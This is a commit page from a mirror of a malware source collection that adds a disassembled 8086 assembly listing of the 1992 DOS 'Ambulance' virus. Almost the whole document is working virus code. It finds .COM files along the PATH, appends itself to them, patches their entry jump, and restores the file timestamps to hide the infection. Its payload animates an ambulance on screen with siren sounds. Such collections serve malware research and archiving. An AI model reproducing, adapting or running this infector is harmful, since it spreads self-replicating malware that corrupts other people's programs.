mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 15:29:23 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,479 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ AMBULANC ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 13-Feb-92 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_1e equ 0Ch
|
||||
data_2e equ 49h
|
||||
data_3e equ 6Ch
|
||||
psp_envirn_seg equ 2Ch
|
||||
data_20e equ 0C80h
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
ambulanc proc far
|
||||
|
||||
start:
|
||||
jmp loc_1
|
||||
db 0
|
||||
data_7 dw 0 ; Data table (indexed access)
|
||||
db 44 dup (0)
|
||||
loc_1:
|
||||
;* call sub_1 ;*
|
||||
db 0E8h, 01h, 00h
|
||||
add [bp-7Fh],bx
|
||||
out dx,al ; port 0, DMA-1 bas&add ch 0
|
||||
add ax,[bx+di]
|
||||
call sub_2
|
||||
call sub_2
|
||||
call sub_4
|
||||
lea bx,[si+419h] ; Load effective addr
|
||||
mov di,100h
|
||||
mov al,[bx]
|
||||
mov [di],al
|
||||
mov ax,[bx+1]
|
||||
mov [di+1],ax
|
||||
jmp di ;*Register jump
|
||||
|
||||
loc_ret_2:
|
||||
retn
|
||||
|
||||
ambulanc endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_2 proc near
|
||||
call sub_3
|
||||
mov al,byte ptr data_19[si]
|
||||
or al,al ; Zero ?
|
||||
jz loc_ret_2 ; Jump if zero
|
||||
lea bx,[si+40Fh] ; Load effective addr
|
||||
inc word ptr [bx]
|
||||
lea dx,[si+428h] ; Load effective addr
|
||||
mov ax,3D02h
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
mov data_12[si],ax
|
||||
mov bx,data_12[si]
|
||||
mov cx,3
|
||||
lea dx,[si+414h] ; Load effective addr
|
||||
mov ah,3Fh ; '?'
|
||||
int 21h ; DOS Services ah=function 3Fh
|
||||
; read file, bx=file handle
|
||||
; cx=bytes to ds:dx buffer
|
||||
mov al,data_10[si]
|
||||
cmp al,0E9h
|
||||
jne loc_3 ; Jump if not equal
|
||||
mov dx,data_11[si]
|
||||
mov bx,data_12[si]
|
||||
add dx,3
|
||||
xor cx,cx ; Zero register
|
||||
mov ax,4200h
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
mov bx,data_12[si]
|
||||
mov cx,6
|
||||
lea dx,[si+41Ch] ; Load effective addr
|
||||
mov ah,3Fh ; '?'
|
||||
int 21h ; DOS Services ah=function 3Fh
|
||||
; read file, bx=file handle
|
||||
; cx=bytes to ds:dx buffer
|
||||
mov ax,data_13[si]
|
||||
mov bx,data_14[si]
|
||||
mov cx,data_15[si]
|
||||
cmp ax,word ptr ds:[100h][si]
|
||||
jne loc_3 ; Jump if not equal
|
||||
cmp bx,word ptr ds:[102h][si]
|
||||
jne loc_3 ; Jump if not equal
|
||||
cmp cx,data_7[si]
|
||||
je loc_4 ; Jump if equal
|
||||
loc_3:
|
||||
mov bx,data_12[si]
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
mov ax,4202h
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
sub ax,3
|
||||
mov data_9[si],ax
|
||||
mov bx,data_12[si]
|
||||
mov ax,5700h
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; get file date+time, bx=handle
|
||||
; returns cx=time, dx=time
|
||||
push cx
|
||||
push dx
|
||||
mov bx,data_12[si]
|
||||
mov cx,319h
|
||||
lea dx,[si+100h] ; Load effective addr
|
||||
mov ah,40h ; '@'
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
mov bx,data_12[si]
|
||||
mov cx,3
|
||||
lea dx,[si+414h] ; Load effective addr
|
||||
mov ah,40h ; '@'
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
mov bx,data_12[si]
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
mov ax,4200h
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
mov bx,data_12[si]
|
||||
mov cx,3
|
||||
lea dx,[si+411h] ; Load effective addr
|
||||
mov ah,40h ; '@'
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
pop dx
|
||||
pop cx
|
||||
mov bx,data_12[si]
|
||||
mov ax,5701h
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; set file date+time, bx=handle
|
||||
; cx=time, dx=time
|
||||
loc_4:
|
||||
mov bx,data_12[si]
|
||||
mov ah,3Eh ; '>'
|
||||
int 21h ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
retn
|
||||
sub_2 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_3 proc near
|
||||
mov ax,ds:psp_envirn_seg
|
||||
mov es,ax
|
||||
push ds
|
||||
mov ax,40h
|
||||
mov ds,ax
|
||||
mov bp,ds:data_3e
|
||||
pop ds
|
||||
test bp,3
|
||||
jz loc_7 ; Jump if zero
|
||||
xor bx,bx ; Zero register
|
||||
loc_5:
|
||||
mov ax,es:[bx]
|
||||
cmp ax,4150h
|
||||
jne loc_6 ; Jump if not equal
|
||||
cmp word ptr es:[bx+2],4854h
|
||||
je loc_8 ; Jump if equal
|
||||
loc_6:
|
||||
inc bx
|
||||
or ax,ax ; Zero ?
|
||||
jnz loc_5 ; Jump if not zero
|
||||
loc_7:
|
||||
lea di,[si+428h] ; Load effective addr
|
||||
jmp short loc_13
|
||||
loc_8:
|
||||
add bx,5
|
||||
loc_9:
|
||||
lea di,[si+428h] ; Load effective addr
|
||||
loc_10:
|
||||
mov al,es:[bx]
|
||||
inc bx
|
||||
or al,al ; Zero ?
|
||||
jz loc_12 ; Jump if zero
|
||||
cmp al,3Bh ; ';'
|
||||
je loc_11 ; Jump if equal
|
||||
mov [di],al
|
||||
inc di
|
||||
jmp short loc_10
|
||||
loc_11:
|
||||
cmp byte ptr es:[bx],0
|
||||
je loc_12 ; Jump if equal
|
||||
shr bp,1 ; Shift w/zeros fill
|
||||
shr bp,1 ; Shift w/zeros fill
|
||||
test bp,3
|
||||
jnz loc_9 ; Jump if not zero
|
||||
loc_12:
|
||||
cmp byte ptr [di-1],5Ch ; '\'
|
||||
je loc_13 ; Jump if equal
|
||||
mov byte ptr [di],5Ch ; '\'
|
||||
inc di
|
||||
loc_13:
|
||||
push ds
|
||||
pop es
|
||||
mov data_16[si],di
|
||||
mov ax,2E2Ah
|
||||
stosw ; Store ax to es:[di]
|
||||
mov ax,4F43h
|
||||
stosw ; Store ax to es:[di]
|
||||
mov ax,4Dh
|
||||
stosw ; Store ax to es:[di]
|
||||
push es
|
||||
mov ah,2Fh ; '/'
|
||||
int 21h ; DOS Services ah=function 2Fh
|
||||
; get DTA ptr into es:bx
|
||||
mov ax,es
|
||||
mov data_17[si],ax
|
||||
mov data_18[si],bx
|
||||
pop es
|
||||
lea dx,[si+478h] ; Load effective addr
|
||||
mov ah,1Ah
|
||||
int 21h ; DOS Services ah=function 1Ah
|
||||
; set DTA(disk xfer area) ds:dx
|
||||
lea dx,[si+428h] ; Load effective addr
|
||||
xor cx,cx ; Zero register
|
||||
mov ah,4Eh ; 'N'
|
||||
int 21h ; DOS Services ah=function 4Eh
|
||||
; find 1st filenam match @ds:dx
|
||||
jnc loc_14 ; Jump if carry=0
|
||||
xor ax,ax ; Zero register
|
||||
mov data_19[si],ax
|
||||
jmp short loc_17
|
||||
loc_14:
|
||||
push ds
|
||||
mov ax,40h
|
||||
mov ds,ax
|
||||
ror bp,1 ; Rotate
|
||||
xor bp,ds:data_3e
|
||||
pop ds
|
||||
test bp,7
|
||||
jz loc_15 ; Jump if zero
|
||||
mov ah,4Fh ; 'O'
|
||||
int 21h ; DOS Services ah=function 4Fh
|
||||
; find next filename match
|
||||
jnc loc_14 ; Jump if carry=0
|
||||
loc_15:
|
||||
mov di,data_16[si]
|
||||
lea bx,[si+496h] ; Load effective addr
|
||||
loc_16:
|
||||
mov al,[bx]
|
||||
inc bx
|
||||
stosb ; Store al to es:[di]
|
||||
or al,al ; Zero ?
|
||||
jnz loc_16 ; Jump if not zero
|
||||
loc_17:
|
||||
mov bx,data_18[si]
|
||||
mov ax,data_17[si]
|
||||
push ds
|
||||
mov ds,ax
|
||||
mov ah,1Ah
|
||||
int 21h ; DOS Services ah=function 1Ah
|
||||
; set DTA(disk xfer area) ds:dx
|
||||
pop ds
|
||||
retn
|
||||
sub_3 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_4 proc near
|
||||
push es
|
||||
mov ax,data_8[si]
|
||||
and ax,7
|
||||
cmp ax,6
|
||||
jne loc_18 ; Jump if not equal
|
||||
mov ax,40h
|
||||
mov es,ax
|
||||
mov ax,es:data_1e
|
||||
or ax,ax ; Zero ?
|
||||
jnz loc_18 ; Jump if not zero
|
||||
inc word ptr es:data_1e
|
||||
call sub_5
|
||||
loc_18:
|
||||
pop es
|
||||
retn
|
||||
sub_4 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_5 proc near
|
||||
push ds
|
||||
mov di,0B800h
|
||||
mov ax,40h
|
||||
mov ds,ax
|
||||
mov al,ds:data_2e
|
||||
cmp al,7
|
||||
jne loc_19 ; Jump if not equal
|
||||
mov di,0B000h
|
||||
loc_19:
|
||||
mov es,di
|
||||
pop ds
|
||||
mov bp,0FFF0h
|
||||
loc_20:
|
||||
mov dx,0
|
||||
mov cx,10h
|
||||
|
||||
locloop_21:
|
||||
call sub_8
|
||||
inc dx
|
||||
loop locloop_21 ; Loop if cx > 0
|
||||
|
||||
call sub_7
|
||||
call sub_9
|
||||
inc bp
|
||||
cmp bp,50h
|
||||
jne loc_20 ; Jump if not equal
|
||||
call sub_6
|
||||
push ds
|
||||
pop es
|
||||
retn
|
||||
sub_5 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_6 proc near
|
||||
in al,61h ; port 61h, 8255 port B, read
|
||||
and al,0FCh
|
||||
out 61h,al ; port 61h, 8255 B - spkr, etc
|
||||
; al = 0, disable parity
|
||||
retn
|
||||
sub_6 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_7 proc near
|
||||
mov dx,7D0h
|
||||
test bp,4
|
||||
jz loc_22 ; Jump if zero
|
||||
mov dx,0BB8h
|
||||
loc_22:
|
||||
in al,61h ; port 61h, 8255 port B, read
|
||||
test al,3
|
||||
jnz loc_23 ; Jump if not zero
|
||||
or al,3
|
||||
out 61h,al ; port 61h, 8255 B - spkr, etc
|
||||
mov al,0B6h
|
||||
out 43h,al ; port 43h, 8253 wrt timr mode
|
||||
loc_23:
|
||||
mov ax,dx
|
||||
out 42h,al ; port 42h, 8253 timer 2 spkr
|
||||
mov al,ah
|
||||
out 42h,al ; port 42h, 8253 timer 2 spkr
|
||||
retn
|
||||
sub_7 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_8 proc near
|
||||
push cx
|
||||
push dx
|
||||
lea bx,[si+3BFh] ; Load effective addr
|
||||
add bx,dx
|
||||
add dx,bp
|
||||
or dx,dx ; Zero ?
|
||||
js loc_26 ; Jump if sign=1
|
||||
cmp dx,50h
|
||||
jae loc_26 ; Jump if above or =
|
||||
mov di,data_20e
|
||||
add di,dx
|
||||
add di,dx
|
||||
sub dx,bp
|
||||
mov cx,5
|
||||
|
||||
locloop_24:
|
||||
mov ah,7
|
||||
mov al,[bx]
|
||||
sub al,7
|
||||
add al,cl
|
||||
sub al,dl
|
||||
cmp cx,5
|
||||
jne loc_25 ; Jump if not equal
|
||||
mov ah,0Fh
|
||||
test bp,3
|
||||
jz loc_25 ; Jump if zero
|
||||
mov al,20h ; ' '
|
||||
loc_25:
|
||||
stosw ; Store ax to es:[di]
|
||||
add bx,10h
|
||||
add di,9Eh
|
||||
loop locloop_24 ; Loop if cx > 0
|
||||
|
||||
loc_26:
|
||||
pop dx
|
||||
pop cx
|
||||
retn
|
||||
sub_8 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_9 proc near
|
||||
push ds
|
||||
mov ax,40h
|
||||
mov ds,ax
|
||||
mov ax,ds:data_3e
|
||||
loc_28:
|
||||
cmp ax,ds:data_3e
|
||||
je loc_28 ; Jump if equal
|
||||
pop ds
|
||||
retn
|
||||
sub_9 endp
|
||||
|
||||
and ah,[bp+di]
|
||||
and al,25h ; '%'
|
||||
db 26h, 27h, 28h, 29h, 66h, 87h
|
||||
db 3Bh, 2Dh, 2Eh, 2Fh, 30h, 31h
|
||||
db 23h,0E0h,0E1h,0E2h,0E3h,0E4h
|
||||
db 0E5h,0E6h,0E7h,0E7h,0E9h,0EAh
|
||||
db 0EBh
|
||||
db 30h
|
||||
data_8 dw 3231h ; Data table (indexed access)
|
||||
db 24h
|
||||
data_9 dw 0E1E0h ; Data table (indexed access)
|
||||
data_10 db 0E2h ; Data table (indexed access)
|
||||
data_11 dw 0E8E3h ; Data table (indexed access)
|
||||
data_12 dw 0EA2Ah ; Data table (indexed access)
|
||||
db 0E7h,0E8h,0E9h
|
||||
data_13 dw 302Fh ; Data table (indexed access)
|
||||
data_14 dw 326Dh ; Data table (indexed access)
|
||||
data_15 dw 2533h ; Data table (indexed access)
|
||||
data_16 dw 0E2E1h ; Data table (indexed access)
|
||||
data_17 dw 0E4E3h ; Data table (indexed access)
|
||||
data_18 dw 0E7E5h ; Data table (indexed access)
|
||||
data_19 dw 0E8E7h ; Data table (indexed access)
|
||||
db 0E9h,0EAh,0EBh,0ECh,0EDh,0EEh
|
||||
db 0EFh, 26h,0E6h,0E7h, 29h, 59h
|
||||
db 5Ah, 2Ch,0ECh,0EDh,0EEh,0EFh
|
||||
db 0F0h, 32h, 62h, 34h,0F4h, 0Ah
|
||||
db 00h,0E9h, 2Fh, 00h,0CDh, 20h
|
||||
db 00h, 05h, 00h,0CDh, 20h, 00h
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
Reference in New Issue
Block a user